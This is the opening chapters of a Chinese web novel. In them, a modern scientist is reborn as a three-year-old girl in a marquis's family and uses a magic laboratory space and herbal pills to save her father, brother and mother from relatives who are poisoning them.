《三岁小禾宝,把全家哭进侯府》 第1章 娘亲,您要信我 “娘亲!呜……娘亲!呜呜呜……” 稚童哭喊声在这深冬雪日的凌晨显得特别突兀,一下打破了庄子里的宁静。 “欸!在呢,娘在!阿沅莫哭。” 柳氏从床上突地坐了起来,赤脚冲向门口。 “娘亲…呜呜!怕怕!呜呜…”三岁的小奶团赤着脚,只着单薄的里衣瑟瑟发抖,看见娘亲更加委屈。 她本想冲娘亲扑上去,却又不肯放下已经泼了一半的药碗,另一半药汁晕染得一地猩红,空气中弥漫着难闻的古怪药味。 “怎么自己跑出来了?奶娘呢?待会处置了她。”柳氏蹲下身,迅速抢过药碗,“啪”地放到一旁,一把将女儿搂住:“娘在,娘在,娘的阿沅别怕。” 进屋,关门,把手上的小奶团往棉被里塞,再屁股床上一坐,抬脚也插进被子,侧身半躺把被子里的女儿往自己身上一搂,柳氏动作几乎是一气呵成,但仍然连打了几个喷嚏。 阿沅如同袋熊一般紧紧挂在娘亲的身上,冰冷的手紧紧攥住柳氏的衣襟,脚也搭在她的肚子上,却比刚才抖得还厉害。 她哭声不停,满含恐惧的眼睛在泪光中扑棱扑棱地闪,“娘亲,窝怕!呜呜,大火,好大的火,爹爹被大火烧屎了。” 奶娃娃虽然口齿不清,但结合她的脸上的神情,就像在诉说一个恐怖的真实故事。 “那是阿沅在做梦,梦都是假的,别怕,娘在呢,爹爹也在床上。”柳氏轻拍她的背哄。 “呜呜,是真的,大火烧屋,爹爹疼,呜呜……” 不待柳氏继续开口,小奶团又冲口而出:“嘚嘚也疼,嘚嘚被好多人追…打断了腿,看见骨头,好疼,呜呜,后来…也屎了。” 柳氏:这梦太毛骨悚然,难怪把孩子吓成这样,心里忍不住又咒骂起了奶娘。 “四个坏婆子灌娘亲喝黑黑的坏药,娘亲说不出话……绑上马车…呜呜…破庙里…脏脏的乞丐。” 本想先聆听,再安慰,但听到这里,柳氏的手顿住,忽然觉得脊背一阵发凉,嘴里也发不出声。 床忽然震了一下,床那头里侧的男人发出痛苦又微弱的抽气声。 “那是坏药,不是救爹爹的,呜呜!喝了爹爹就动不了啦!” “嘚嘚不柒傻傻的药,不柒不柒;娘亲柒坏药…变哑巴…绑马车……丢乞丐窝。” “后来……窑子里……窝也屎了。” 奶声奶气说到最后两个字时,阿沅的上下牙齿一直在打架,身体也抖个不停,仿佛那可怕的一幕还在眼前。 床上的男人忽然睁开眼,他眼神忽明忽暗,淬满了毒,被子里的手也捏成了拳。 柳氏的心突地收紧,下唇咬得渗出了血。看向女儿手上的药迹,再凑下去一闻,眼神突变。 她忽然意识到,老太太没有那么好心,二房也没有那么好心,而是满嘴毒牙,看不得他们大房好。 夫君的断腿本没有那么严重,却因为天天进补,成了瘫子。 儿子本是读书的料,却出声变故,一朝变成痴傻。“安神汤”一碗碗灌进去,现在大半时间认不出她这个娘。 她产后虚弱,用的也是老太太搜罗来“补血补气”的药方,身体日渐破败。 阿沅停止了哭泣,软软的小手抚上了娘亲的脸,小脸坚定,“娘亲,泥要信窝,不要柒坏坏的药,爹爹不柒,嘚嘚不柒,泥也不柒,听神仙姑姑的。” “窝要救爹爹,救嘚嘚,窝不要他们屎!” “阿沅……”柳氏心乱如麻,面对褪去惊恐像是变了个人似的女儿,一知竟不知如何回答。 “不柒药,打坏蛋,神仙姑姑帮忙。”阿沅高高举起了自己的拳头,敲向了门口方向,似乎仇人就在前方。 床上原本死了半截的人,忽然动了动,柳氏的脚腕瞬间被紧紧握住,她吓得轻呼一声:“夫君?” “云娘……”男人哑着嗓子,用尽力气才发出微弱又决绝的声音:“听阿沅的!” “好!”柳氏脱口而出,然后自己都愣了一下。 她的脚底一松,那头就没有了声响,仿佛刚才的声音就是空穴来风。 …… 就在一个时辰前,来自公元二十一世纪的孟沅忽然被冻醒,只翻了个身就发现了身体的不对劲。 姜沅知道自己死了,死在了农学院重点实验室的爆炸中,熊熊大火吞没了一切,包含她在内的所有人和物件都被大火吞噬,成为了一堆灰烬。 她现在是一具古代奶娃娃的躯体,随着原主的记忆涌来,她知道到她穿书了。穿到了大康朝安平侯府唯一的长房嫡女——三岁小娃娃孟沅的身上。 虽然看书都是一目十行,但凭着前世还算不错的记忆,她很快把原著从头到尾捋了个大概。 原书的作者三观不正,不但没有惩恶扬善,还让恶毒的二房踩在大房功勋和白骨上,继承了侯府爵位,活得逍遥自在。 她记得书里最悲惨的情节是: 被同父异母的弟弟设计毒杀,跌下马背,断了双腿的侯府嫡长子,也就是孟沅的爹爹孟大川,在连续喝了三个月的毒药后,还被一场“意外”的大火烧得尸骨无存。 孟沅的呆傻大哥孟怀瑾,被恶奴怂恿跑去书院偷书,惨遭十几人残忍打断手骨,苦熬两年后也死了; 孟沅的母亲柳云娘,被灌了一碗哑药,再绑马车拉去破庙,任由乞丐流民糟蹋。最后不堪受辱,一根腰带上吊而亡; 这一切灾难发生后,原主被接回了侯府,也开始了她悲惨又短暂的人生。 最后被她的“善心”堂姐骗出府,卖进了最下等的窑子。小小年纪冬日里也必须要清洗所有人的衣服,一次伤寒就要了她的,死在不过七岁那年。 这一切悲剧的产生,全是继祖母和二房一家的阴谋算计。 究其原因,只因她爹孟大川是侯府嫡长子,本应承爵的人。 老侯爷当初是忽然去世,还未来得及请命让他承爵,为了保全侯府荣耀,孟大川主动请旨去往边关杀敌,他在战场浴血奋战将近三年,虽然换来一身伤,但也算是战功赫赫。 五个月前,孟大川回京复命。 没想却在离京城不到百里的路上,战马忽然发狂,踏断了他双腿,直至现在瘫在床上。 侯府拿孟大川的战功换取了老太太的的一品诰命,满府荣耀。可转身就以孟大川需要静养、孟怀瑾需要治病为由,把大房一家远远打发到这偏僻的庄子上。 为使袭爵名正言顺,又痛下黑手,设计对他们大房斩草除根。 里:孟大川下身失去知觉是在服药后的第三个月,被烧死就在来到庄子后的第四个月,而现在他们待在庄子已经三月有余,孟大川的下身也已经瘫了。 阿沅无语望天:老天爷,救人不需要时间的吗?我三岁小娃手短脚短,又没有风火轮,如何跟时间赛跑,才能从阎王爷的铁链中夺人。 第2章 爹爹,我先救你半条命 阿沅肉乎乎的掌心有个淡粉色的小胎记,像水滴也像花瓣,很是好看。 这是穿越到这里,老天送给她的最大奖赏:是空间,也是金手指。 只要捏着胎记意念一下,就可以轻松进入她原本工作的实验室,那里有进行试验的种子,有设备,也有一些科研资料。她偷拎进来,炮制和没炮制过的药材和药丸也有不少。 实验室前面是围墙圈起来的一个独立院子,种有花草,还有健身器材;实验室的侧间是她平时午休的小单间,里面尚存一些简单的生活用品,有漂移功能,但只能在四五平方的小范围内移动。 既然上天给了她改写剧情的机会,让她替原主重新活一次,那就不能辜负。 所以就在刚才,她赤脚站在爹娘门口,就已经有备而来。 她设计了所谓的“噩梦”和“神仙姑姑”,用最稚嫩的声音说出最残酷的真相,就是为了让娘亲和爹爹能够相信她,支持她。 试想,一个三岁孩子嘴里突然冒出如此惊险的剧情,大人未必肯信;但若只是“做了个梦”,又得“神仙姑姑”帮助,而情节跟每一个亲人都息息相关,在这信奉鬼神的世道里,反而有一线胜算的可能。 看刚才爹娘的反应,她成功做到了。 显然他们是相信的!小有小的优势,能哭、能闹、能撒娇卖萌。 侯府的人等着吧! 阿沅——我~回来了!我定要带着家人重回侯府。 “娘亲,别怕!神仙姑姑教窝救爹爹,救嘚嘚,打坏蛋。”阿沅咬着牙,高高举起了自己捏紧的小拳头,像极了小哪咤。 柳氏强压住震惊,把思绪往前捋了一遍,确信自己没有为菩萨重塑过金身,就算寺庙里的香火钱也少有供奉,自然不敢相信“神仙姑姑”真的会出手相救。 眼前稚嫩中用带着点认真的小人儿,还以为打坏蛋就是过家家呢! 柳氏哪里还睡得着!看女儿不再颤抖,而是陷入半梦半醒,她马上起身穿衣梳洗。 身边的温暖的躯体刚刚离开,被子忽然被掀起一角,小家伙撅着屁股的,连滚带爬,几下就到了床的另一头。 小奶瓢下巴抵在自己胖乎乎的手背上,一双黑珍珠般的大眼睛扑棱着,看向孟大川那张已经形如枯槁的脸,用力,加油,两颗药丸强行塞进嘴,奶萌奶萌的道:“爹爹,窝先救泥半条命。” 忽然被强掰的力道,加上苦涩的触感,孟大川忽地睁眼,射出的光如同强火猛兽,看似能毁灭眼前的一切。 然而,对上那双清澈又透着懵懂的大眼睛时,凌厉突变温柔,嘴角弯成自认为最好看的怪异表情。 小家伙立马惊喜,奶声奶气哄人:“爹爹,泥要快点醒来,和阿沅一起打坏蛋哦。”这语调,像极了平时柳氏哄她的语气。 女儿怎么那么可爱呢!好想摸摸她的小脑袋,孟大川却连抬手的力气都没了,只能眨眨眼睛努力回应。 随之嘴唇开始蠕动,把已经融化的那股苦涩吞咽了下去,直至陷入沉睡。 柳氏自己穿戴齐整,又过隔壁女儿屋里找衣服,帮挂熊一般又贴过来,一定要黏着她的阿沅穿好。这么大的动静居然没有惊动任何人,本该守院的婆子,丫鬟、奶娘的影子都不见。 柳氏恨得咬了咬牙,指甲掐进掌心几近出血,心里“呵呵”冷笑了两声。 “阿沅,乖乖坐在这里,等娘。”把女儿抱出来,按在堂屋高高的门槛上。再从贡桌上取了两块糕点,放进门口那只孤零零的药碗,走向院角。 看见端着食物的主人,守门的黄狗屁颠屁颠跟了过去,它显然是冷饿了,嗅都不嗅一下,糕点就囫囵进嘴。 吞咽下去没出几息,黄狗突然倒地不起,两眼似有控诉般哀怨看向主人。没死,但并好受的样子。 柳氏脸色白得如同地上积雪,盯着那支药碗一动不动,这就是老太太送来的“好药”。 阿沅乖乖坐在门槛上,摇着她的两条小短腿,对院角里发生的事一点都没觉得意外,眼中也没有一丝惊恐之色。 “娘亲,狗屎啦吗?”孩童特有的口齿不清脱口而出,“剩下的药别扔,窝拿回侯府喂奶(祖母)。” 柳氏惊愕回头,看着远远的那团小人儿竟然有片刻的恍惚。 直到回到女儿面前蹲下身,目光都没从她身上离开。阿沅还是她的阿沅,可好像已经不同了。 “娘亲,泥信窝。”小家伙站起来跺了跺脚,小脸忽然现出狠劲,一字一顿,“他们都该屎……按进雪里……踩屎!” 她露出几颗小米牙,声音有点甜,但句句渗人:“娘亲,按进雪地里……浇热水……冻雪人,好不好?让他们死不了坏,只能瞪眼睛。” 明明是奶凶奶凶的小人儿,却透出如同小狼崽般的狠劲。 “娘的阿沅~娘信!他们应该自食恶果,血债血偿。”柳氏一把揽过,这还是他们的女儿,不可能是什么妖魔鬼怪。 可是她的话能信吗?除非夫君能够重新爬起来,不然哪来的办法? 阿沅当然有办法! 她从小就生活在身为知名老中医的爷爷身旁,耳濡目染,精通中医,也懂得理毒。 前世虽然爱岗敬业,但也藏着些许私心,闲暇之时会利用实验室里的精密仪器帮爷爷熬制药丸,还有不少堆在她的小隔间里,现在倒是帮了她的大忙。 但她三岁小娃,单打独斗确实有失违和,小身板也不够别人一盘菜。她需要助力,需要跟班、也需要人给她打掩护。 现在的首要任务是救命,救爹爹,救哥哥。 只有他们好了,才能成为自己助力。在古代,夫和子要是没了,孤女寡母也撑不下去,所以,他们必须活着。 先救命,再手刃仇人,最后再搞事业。 阿沅小拳头攥得紧紧的,已经下定了决心。 第3章 哥哥,我们去找娘亲 爹爹沉睡,娘亲发呆,阿沅出门就往旁边拐,小脚印在雪地里密密扎扎。也没注意身后有个跟她大不了多少的小身影,已经默默跟随,同样脚步飞快,很快就越到了她前头。 “小姐,怎的那么早?害得奴婢好找。”小姑娘小圆脸转头冲小姐笑,嘴里是埋怨的语气,却背着手环过她的小身子。 “红袖…”奶团子兴奋的声音拉得老长,如同见到了久违的亲人,毫不犹豫扑她背上。 原主记忆里,这是陪伴她直至生命终点的忠仆,只比她大四岁。 原主被堂姐哄骗的时候,红袖坚持跟着,才一起被卖入窑子,最后被恋童癖的老色狼折磨死了。 书中对红袖的描述是:不聪明,学东忘西,心眼直,不讨喜。但听话、忠心,但凡有人欺负原主,她能用命去挡。 “小姐是要去看少爷吗?” “嗯嗯,阿沅想嘚嘚了。”小阿沅趴在小姑娘并不宽大的背上,还贴上去“啵”了一下,小脑袋点得像捣蒜。 距离不过百来米,屋子里头传来“咚”的撞墙声,停一下又撞一下,让人听了心里发紧。 阿沅圈住脖子的手稍稍用了点力,示意她停下,红袖脚步顿住。 屋子里面关的是孟怀瑾,他平日里痴痴傻傻又闹腾,一个不慎就乱跑。 既怕他惊扰病中的夫君,又担心跑出去出事,柳氏听了庄头的建议,安置在这远点的屋子,平日里有小厮和婆子照顾。 阿沅好想哭。 侯府嫡长孙极其聪慧,十三岁就中了秀才,还是榜首,夫子说有状元之才。如今被“安神汤”毒成痴痴傻傻,头痛发作起来,几人都按不住。 “红袖,泥先回去,窝看看嘚嘚。”红袖听话把小姐放下,又向前紧走了几步,静静站着像只忠犬,并没有离开。 阿沅推门,半个身子挤进去,大冷的天,清瘦的少年棉衣敞开着,露出里衣,也不知道冷。 他此刻正跪在墙角,额头已经血迹斑斑,模糊一片。头却还在一下一下往墙上撞,他每撞一下,身子也跟着痛苦蜷缩一次。 嘴里声音断断续续:“子曰~学而时习之~之乎者也~撞开~夫子~读书~” 阿沅举起一只软乎乎的小手掌,垫到了哥哥撞击的墙上。 “砰”一声闷响,重重的力道撞进了她的掌心,她跳起来龇牙咧嘴,眼意瞬间涌上来,对上哥哥懵懂又无知的眼,却又硬生生憋回去,试着用她的小童音说教:“嘚嘚,别撞,墙坏,手疼。” 可能是她的声音太过甜腻,又太过温柔,孟怀瑾瞬间愣住不再撞墙,而是迟缓转头正视她。 少年清冷俊秀的脸,明显呆滞的眼神,盯着像哭又像笑的奶团子,没一会也裂开了嘴。 他轻轻碰了碰那只冰冷中透着温热的小手,像是被烫到一般缩回了手,过一会手又慢慢伸出来,这回变成了温柔的触摸。 “疼”他说话了,眼里还流出眼泪,“疼……” 阿沅瞬间觉得所有疼痛都消失无踪,她用袖子轻轻擦拭哥哥额头的血,动作笨拙,奶声奶气:“嘚嘚,不哭,阿沅给泥糖。” 递给他一块小单间里的零食——花生牛轧糖,“甜的,嘚嘚吃了头不疼。” 少年像只温顺的大狗,也不接过,只是乖乖张嘴,阿沅泪目,看到他就想到了床上躺着的爹爹,趁机也塞了两颗药。 可能是甜度压住了药的苦味,孟怀瑾眼泪瞬间止住,又咧开嘴笑了,傻乎乎的:“甜…甜!” 阿沅在心里把侯府祖宗十八代抽了鞭刑,笨拙地帮哥哥扣棉衣的扣子,再牵着他往外走:“嘚嘚,窝们去找娘亲,去看爹爹。” 看他们走出去几步,红袖才慢慢跟在后头,踩雪都没有发出声音。 来这么久了,本该照顾哥哥的砚书没有出现,婆子也不知去了哪里鬼混。阿沅眯起眼睛,这应该就是前世怂恿哥哥往外跑的,留不得。 记忆里书中的情节不够完整,只知道孟怀瑾跑出去的时间是在孟大川被烧死之后,却拼不出具体发生的时间。 哥哥必须回到她和娘亲眼皮底下安全。不然变故提前发生,她两头都顾不上。 “…小…姐,…少…少爷…” 守门的婆子现了身,她看见兄妹俩一大早就从外面回来,满脸都是掩饰不住的震惊,嘴巴微张,眼睛瞪得老大。 特别是看见素日里痴痴呆呆,此刻却乖乖巧巧、不吵不闹,甚至穿戴得整整齐齐,如同正常孩子一般拉着小姐的大少爷时,她瞳孔骤然一缩。像是看见了什么怪异的诡事,连话都说不顺溜了,磕磕巴巴,气息不稳。 “刚才泥哪去了?”阿沅立刻举起小拳头,圆溜溜的眼睛瞪着那婆子,心里已经给她判了刑,开了一刀,质问的语气一点也不客气。 看这婆子脸上那副见了鬼似的震惊模样,就知道这绝不是个忠心的,没准就是书里描述过的、把柳氏绑上马车的帮凶之一。 “老奴…老奴方才内急…实在憋不住,上了趟茅厕。”婆子眼神闪烁,不敢与阿沅对视,心虚已经明明白白写在脸上,那副唯唯诺诺、刻意放低姿态的样子,一看就是装出来的,演技拙劣。 “迟早窝要收拾泥。”阿沅心里怒骂,小脸气得鼓鼓的,更是埋怨开了:这穿书的体验,还不如做个预知梦呢!好歹做梦时,可以给坏人脸上都贴着标签,不用像现在这样,得靠观察猜测,费神费力。 “娘亲,窝们回来了。” 正思忖间,柳氏闻声从屋里迎了出来。“你这孩子,”她显然是后知后觉女儿跑出了去。 这会儿看见儿子也好好地一起,才恍然醒悟:“阿沅是特意去找哥哥了?好歹跟娘亲说明白一声,也省得娘亲平白担心一场。” 阿沅本已做好了挨几句数落的准备,没想到柳氏只是略带嗔怪地说了一句,便快步挤到兄妹二人中间。 一手拉起阿沅的小手,另一手试图去牵孟怀瑾,语气里透着满满的慈爱与后怕的欣慰:“手怎么都这么凉?定是在外头吹了风。快进屋暖和暖和。” 往台阶上走的时候,柳氏忍不住频频侧目,多看了几眼异常安静、一声不吭的儿子,心里着实奇怪:这孩子今日怎会如此听话?不哭不闹,不执拗躲闪,居然能乖乖跟着阿沅回来,这简直是破天荒头一遭。 “红袖!快过来,服侍小姐回屋换身干爽衣服,仔细别着了凉。” 柳氏又冲外头吩咐,“早饭就摆到屋里来吃,一家人一处暖和。” “是!夫人。”红袖和青衣同时清脆地应声。 话音未落,红袖已利落上前,弯腰一把抱起阿沅,脚步匆匆去往旁边的厢房,行动干脆,一点都不含糊。 第4章 娘亲觉醒 孟怀瑾闻言呆滞了一下,脚步顿住,目光有些茫然地追随着被抱走的妹妹,直到看着那一大一小两个身影进了隔壁屋子。 房门关上,他才像是失去了指引,又恢复了那木木的样子,任由柳氏牵着他的手,将他拉进了主屋。 “泥也回去换衣服吧,窝要睡觉觉啦。”红袖手脚麻利地帮阿沅换掉已经被雪融微微濡湿的衣裤,又想帮她套上一双干爽暖和小棉鞋时,阿沅却不依了,小身子一扭,直接手脚并用地往床上爬。 她一边爬,一边嘴里还嘟囔着自创的顺口溜:“起早早,困饱饱;睡觉觉,长高高。”红袖最是听话,见她这般,也不强求,顺从地帮她掖好被角,看她乖乖闭上了眼睛,这才轻手轻脚地掩上房门,退了出去。 房门一响,床上的小身影立刻“噌”地一下坐了起来,哪里还有半点睡意?她警惕地听了听门外动静,确认无人,手一捏,心念一动,小小的身子便从原地消失,进入了她的神秘世界。 阿沅在小单间里还真是手忙脚乱,取下装有解毒药丸的白瓷小瓶,再按照记忆中的方子,拣选几样替换用的、药性温和有利尿排毒的普通药材,这些对她来说倒不算难事。 就是到了分包的时候苦了她。那用来包药的方形桑皮纸又薄又韧,她的小胖手怎么都折不好规整的小包,好不容易歪歪扭扭地裹住了药材,想用细棉线捆扎固定时,手指又不听使唤,不是线打滑就是系不成结。 反复尝试了几次,弄得小脸通红,鼻尖冒汗,面前还是一堆散乱的药材。 “唉!”她丧气地叹了口气,看着自己笨拙的小手,终于决定放弃精致包装。干脆找来几个干净的素色小布袋,把药丸和分好的药材分别胡乱塞进去,袋口一拉,就算完事,总归娘亲也不难分。 她拎起几个小布袋,心念一转,便出了空间。 明明感觉在空间里折腾了许久,可出来一看,外面天色似乎没什么变化,也还没人过来招呼吃晚饭。 她爬下床,搬了个小杌子垫脚,扒着窗户沿,把小脑袋探出去瞧。正好看见红袖换了身干净衣裳,脚步匆匆地刚走上正房的台阶。看来,这空间里的时间流速,果然比外面快了三倍不止,这倒是个意外之喜。 “娘亲,”阿沅拎着她的小布袋,抬腿进了娘亲的屋,见外屋除了柳氏,并无其他丫鬟婆子,立刻蹬蹬蹬跑过去,把手里的几个小布包一股脑儿塞进柳氏怀里,压低些许声音,神秘兮兮地说:“神仙姑姑给哒好药,换掉坏药。” 她小嘴巴哒哒不停,又补充着“医嘱”:“够煎十次哦!” 还竖起两根短短的小手指,强调用量,“瓶瓶每次两丸,爹爹和嘚嘚柒了还有。” 也不管柳氏脸上是何等错愕、惊喜又难以置信的复杂目光,她交代完毕,便像完成了重大任务,转身蹬蹬蹬就往里屋跑。 里屋,孟怀瑾手里拿着一本闲书,坐在床边的脚踏上,眼睛一眨不眨地看着床头昏睡的孟大川,眼神依旧是空茫呆滞的,仿佛只是找了个固定的地方安放视线。 “嘚嘚,窝要上去。”阿沅说着,小手一扒床沿,小短腿努力一蹬,就想顺着孟怀瑾的腿往上爬,企图爬到床上去。 孟怀瑾正沉浸在自己的世界里,猛然感觉腿上一沉,受惊似的一抖,阿沅本就攀得不牢,这下差点直接滑掉下来。 就在这小小的身影要栽倒的瞬间,后衣领子被一只大手及时拎住,阿沅整个人顿时被吊在了半空,一双小短腿无助地凌空蹬了几下,最后只能扭过头,与拎住她的孟怀瑾来了个大眼瞪小眼。 孟怀瑾的眼神里似乎有了一丝极细微的波动,像是平静的水面被投下了一颗小石子。 直到阿沅再次发声,小手急切地指向床头:“嘚嘚,看爹爹!”孟怀瑾像是接收到了清晰的指令,这才小心翼翼地将她轻轻放下,任由她像只小皮球似的扑在了柔软的棉被上。 阿沅在棉被上弹了弹,嘻嘻笑起来,自己揉了揉小屁股:“一点都不疼。” 随即,她手脚并用地爬到孟大川枕边,小奶娃趴在沉睡中的爹爹耳边,开始了她啰啰嗦嗦、絮絮叨叨的“唤醒”工作: “爹爹,柒了好药,泥要快快醒过来哦!” “要是屎掉了,就只能钻到地下去,黑乎乎的,不好玩。” 她歪着小脑袋,似乎想了想,又用一种半是威胁半是玩笑的调皮语气,小声嘀咕道:“要不…干脆换个新爹爹啰?找个能陪窝玩的!” 说完,自己还捂着小嘴偷笑起来,仿佛说了个顶有趣的大秘密。 早餐只有白粥和鸡蛋,咸菜只有一小碟,还是柳氏的贴身丫鬟青衣直接端进来的,端进来后很快便转身出去,也不伺候他们用饭,脚步还挺急。 这伙食明显比原主记忆中的还要简单粗糙些,阿沅心里好奇,仰起小脸,一双乌溜溜的眼睛望向柳氏,奶声奶气地问道:“娘亲,我们没银子了吗?” “阿沅说什么呢?是厨房没了人。” 柳氏脸上勉强露出一个微笑,伸手拿起一个鸡蛋,轻轻在桌沿上磕了磕,分别放进两个孩子面前的碟子里。 这才转向阿沅,温声解释:“娘亲刚刚吩咐了紫衣姐姐,让她把咱们院里几个婆子全都发卖了,二等、三等丫鬟几个不安分的也卖了。周嬷嬷年纪大了,也到了该荣养的时候,今日便送她归家。” “嘿嘿!所以,娘亲的意思,银子还是带了出来的,不是一穿书就一穷二白,不幸中的万幸。”阿沅笑得没心没肺。 第5章 爹爹苏醒 阿沅放下手里正剥着的鸡蛋,拍起了小手,一双小短腿在椅子下快活地一晃一晃,显然非常满意,“神仙姑姑正是这么说的,这叫~清~清~” 她“清”了半天也没说下去,小脸憋得有些红,忽然转向旁边安静的孟怀瑾,一脸希冀加询问,“嘚嘚,”那模样,像是笃定哥哥一定知道。 “清君侧!”孟怀瑾正专心致志地对付手里的蛋壳,闻言头也没抬,嘴里却自然而然地应上了。 “瑾儿…”这一声虽轻,却足以让柳氏热泪盈眶。虽然儿子仍未抬头看她,但这已是许久以来难得的回应,让她心中那潭死水般的绝望,微微漾开了一丝希望的涟漪。 “阿沅,”柳氏稳了稳心绪,又用商量的语气对女儿说,“奶娘,娘亲也想放她归家,可好?”阿沅毕竟喝过那奶娘几年的奶,自然感情不同,会舍不得。 阿沅立刻把小脑袋摇得像拨浪鼓,小手指还刮了刮自己粉嫩的脸蛋,“阿沅只要红袖,长大了喝奶奶…羞羞。”那意思很明显,就是随便娘处置的意思。 看向哥哥,她小脸沉思了一会儿,似乎想到了什么,又转向娘亲,小嘴一撅,告起状来,“他们丢嘚嘚一个人,不好!” “这个娘知道,”柳氏目光坚定起来,“那两个跟着哥哥的,也留不得。” 这是柳氏思量了作出的决定。一下子要处理这么多伺候久了的人,她本还有些犹豫和不忍。 但看到女儿一副大加赞赏的欣喜表情,甚至还主动用“神仙姑姑”的话来提示她,心下顿时踏实了不少,那点不忍也被压了下去。 神仙姑姑给女儿提示的梦境里,将来会给她灌药、绑她上马车、扔她到乞丐窝的,正是四个婆子。因此,院里的婆子是一个都不能留,即便是从娘家带来的陪嫁嬷嬷也不例外。 为了保住一家人的性命,她宁可错杀一千,也绝不放过一个。 阿沅自然是高兴的,连带着碗里的白粥似乎都香甜了许多,比平时多喝了小半碗。她高兴娘亲能及时清醒,处理起人来雷厉风行,动作比她预想的还要快,省了她不少拐弯抹角提醒的口舌。 柳氏安排完这些便没有再说其他,阿沅喝完最后一口粥,用小手先指了指沉默的哥哥,又站起来努力比了比自己的小身板,奶声奶气却意有所指地说:“娘亲,寄己保护不了寄己。” 她年纪小,口齿还不甚清晰,但那担忧的神情却明明白白。 柳氏正要收拾碗筷的手顿了顿。这点她不是没想到。如今身边能绝对信任的,也就青衣和紫衣两个贴身丫鬟,紫衣已经被派出去办事,青衣光是照应他们屋里这几个人都够呛,若真有点什么事,只怕是分不了身,也没那个能力。 但她还是先给了阿沅一个宽慰的、勉强挤出的笑脸,“阿沅别担心,娘亲已叫紫衣姐姐另买几个身强力壮、老实本分的婆子回来。” “欸!”阿沅眉头轻轻一拧,发出了一声小大人般的叹息,似乎对娘亲的安排仍不完全放心。她心里想着“要是再有护院就好了”,而且“还不能少”,但这话只会加重娘亲的心理负担,便只化作了一声叹息。 “云娘…”床上传来一声虚弱却清晰的轻唤。 “爹爹醒了!”阿沅动作比谁都快,哧溜一下滑下椅子,拉住孟怀瑾的手就往床边跑,指着床榻对哥哥撒娇,“嘚嘚,觉觉!”还做了个想爬上去的动作,这一回孟怀瑾很是配合,一提溜,阿沅就上了床。 “爹爹,泥要干嘛?”孟大川已经醒来,此刻正用他那枯瘦如柴的手,颤巍巍在枕头底下摸索着什么。阿沅连忙凑到爹爹身边帮忙。 “阿沅,别闹你爹爹。”柳氏端着半碗白粥,见状立刻停在原地。看见夫君醒来,她本已热泪盈眶,再瞧见父女俩的脑袋几乎贴在一起,生怕女儿不知轻重压着虚弱的夫君,连忙柔声喝止。 阿沅已经从父亲手里接过那东西。那是一根约莫两寸长、小指粗细的物件,非金非木,颜色沉暗,入手微凉,看不出具体是什么。她忍不住好奇地翻来覆去打量。 “阿沅,吹~”孟大川连声催促,虽然气息有些短促,脸上却没了之前那种灰败的死气,眼神也清明了许多。 “夫君别纵着她,既醒了,妾身先吃几口粥,暖暖胃。”柳氏抹去眼角的泪,先将粥碗放在床边小几上,然后小心翼翼地将孟大川搀扶起来,在他身后垫上软枕。 已经让到床里侧的阿沅,此时已经意识到孟大川给她的并非普通玩具,而是一种另类的、用来召唤什么的哨子。 她嘟起小嘴,对准那物件一端开口的位置,憋足了气使劲往里吹。连续试了几次,小脸已经憋得通红,那哨子却没有发出一丝一毫的声音。 这边,柳氏将温热的粥喂了孟大川几口。看见夫君虽然苍白但有了生气的面容,又见他目光温柔地掠过呆呆坐在床尾的儿子,最后宠溺地落在鼓着腮帮子吹哨的女儿身上。柳氏心里那块压得她喘不过气的大石头,终于稍稍挪开了一些。 她忍不住凑在孟大川耳边,声音带着哽咽后残余的颤抖,低声絮语:“神仙姑姑真的给了好药,不然妾身都以为,都以为……”后面的话哽在喉头,化作滚烫的泪水,再次滑落。 “有我在,”孟大川的目光始终没有离开努力和哨子对抗的女儿,声音虽弱,却带着一种磐石般的沉稳,“有阿沅,都会好的。”这句话,既是对妻子的安慰,也像是一种笃定的宣告。 第6章 暗藏的助力 “笃,笃笃,笃笃笃!”靠外的窗户忽然被有节奏地轻轻叩响,把正全神贯注对付哨子的阿沅吓了一跳,她小身子一抖,下意识地就往爹爹怀里扑。 孟大川伸出虚弱的手臂,稳稳地接住了她,轻轻拍了拍她的背,“别怕,是爹爹的人。” 他低声哄了阿沅一句,随即转向窗口,语气虽轻,却带上了一种阿沅从未听过的、属于上位者的淡淡威严,“进来吧。” 窗户应声被无声地推开,一道黑色的身影如同灵活的狸猫般悄无声息地掠了进来,落地时几近无声。 阿沅的眼睛立刻亮得像夜幕中的星子,她看看手中这枚发不出声音的神秘哨子,再看看眼前这个一身利落黑衣、面容普通却眼神锐利的男子,内心早已狂喜乱跳。 这剧情走向不错啊!居然还有暗卫这等人物存在!看来这个爹爹,并非表面看起来那般简单。 只是,欢喜之余,一丝疑虑也悄然爬上心头:这一家明明暗藏这样的助力,前世的记忆中,为何会落得那般凄惨的下场?几乎毫无还手之力。 难道仅仅是因为孟大川猝然早逝,这些力量便随之烟消云散,或是无人能够调动了吗? 她晃晃脑袋,暂时压下这纷杂的思绪。不管怎样,这无疑是天道对奶娃娃的厚爱,总会在绝境中顺带给出一点生机和惊喜。 “主子,孟柒来迟,请主子责罚。”黑衣人进屋后目不斜视,径直面向床榻,看到床上形容憔悴却眼神清明的孟大川,毫不犹豫地单膝跪地,那“扑通”一声地板都震了震,听在阿沅耳里都觉得膝盖疼。 “选二十名精干护卫,最迟明日进庄。”孟大川没有任何废话,直接下令,语气平静却不容置疑,调派二十人听来如同安排一桌饭菜般简单。 “另派四名暗卫,暗中护卫此院,需得严防死守,不得有误。” “是!属下遵命!”自称孟柒的黑衣人恭敬应声,语气斩钉截铁,毫无犹豫。 “还有,”孟大川的目光转向安静的儿子和一脸好奇的女儿,略一沉吟,补充道,“再为夫人、少爷和小姐,各自挑选两名会武功的贴身侍从。” 他顿了顿,特意加重了语气,“年岁与少爷、小姐相差不要太大,以便近身护卫,亦能相伴。” “属下明白,暗卫即刻便到,其余的——明日之内便安排妥当。” 直到黑衣人领命,身形一闪飞掠而出,窗户也随之悄无声息地关上,柳氏都还怔怔地呆站原地,有些回不过神来。 这也难怪,十几年的夫妻,她只知夫君有些本事,在军中必然有些旧谊,却从未见过、甚至从未想象过他竟有这般,如同军中将领调兵遣将般的威势和隐藏力量。 “爹爹,爹爹!”阿沅小手扒着爹爹的胳膊,仰起的小脸上写满了孺慕和佩服,那双大眼睛里更是闪烁着毫不掩饰的、略带狗腿的讨好光芒,“嘻嘻!” “阿沅可是有话要说?”奶娃娃那点鬼马小心思毫不掩饰,几乎全写在脸上,孟大川哪里会看不出来?他眼中闪过一丝笑意,声音也柔和了些。 